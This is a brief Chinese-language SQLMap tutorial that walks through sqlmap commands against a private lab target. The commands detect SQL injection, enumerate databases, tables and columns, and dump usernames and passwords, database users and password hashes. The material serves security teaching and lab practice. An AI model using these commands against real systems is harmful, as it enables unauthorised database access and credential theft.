0x01 SQLMap简介
SQLMap是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多插件。SQLMap采用了以下5种独特的SQL注入技术。
-
基于布尔类型的盲注
-
基于时间的盲注
-
基于报错注入
-
联合查询注入
-
堆查询注入
kali平台自带SQLMap,启动SQLMap如下图所示:
0x02 SQLMap基础
1.判断是否存在注入
目标注入点为http://192.168.1.152:10000/control/sqlinject/manifest_error.php?id=1,判断其是否存在注入的命令如下:
root@kali-Y:~# sqlmap -u http://192.168.1.152:10000/control/sqlinject/manifest_error.php?id=1
结果显示存在注入,如下图所示。
2.查询当前用户下的所有数据库
root@kali-Y:~# sqlmap -u http://192.168.1.152:40000/Less-1/?id=1 --dbs
3.获取数据库中的表名
root@kali-Y:~# sqlmap -u http://192.168.1.152:40000/Less-1/?id=1 -D security --tables
-D 参数来指定具体的数据库,若未加-D参数,则会列出数据库中所有库的表。
4.获取表中的字段名
root@kali-Y:~# sqlmap -u http://192.168.1.152:40000/Less-1/?id=1 -D security -T users --columns
# -D 指定数据库
# -T 指定表名
5.获取字段内容
root@kali-Y:~# sqlmap -u http://192.168.1.152:40000/Less-1/?id=1 -D security -T users -C id,password,username --dump
# -D 指定数据库
# -T 指定表名
# -C 指定字段
6.获取数据库的所有用户
root@kali-Y:~# sqlmap -u http://192.168.1.152:40000/Less-1/?id=1 --users
# 在当前用户有权限读取包含所有用户的表的权限时,使用该命令就可以列出所有的管理用户
7.获取数据库用户的密码
root@kali-Y:~# sqlmap -u http://192.168.1.152:40000/Less-1/?id=1 --passwords
这里没有发现…
8.获取当前网站数据库的名称
root@kali-Y:~# sqlmap -u http://192.168.1.152:40000/Less-1/?id=1 --current-db
9.获取当前网站数据库的用户名称
root@kali-Y:~# sqlmap -u http://192.168.1.152:40000/Less-1/?id=1 --current-user
参考:Web安全攻防-渗透测试实战指南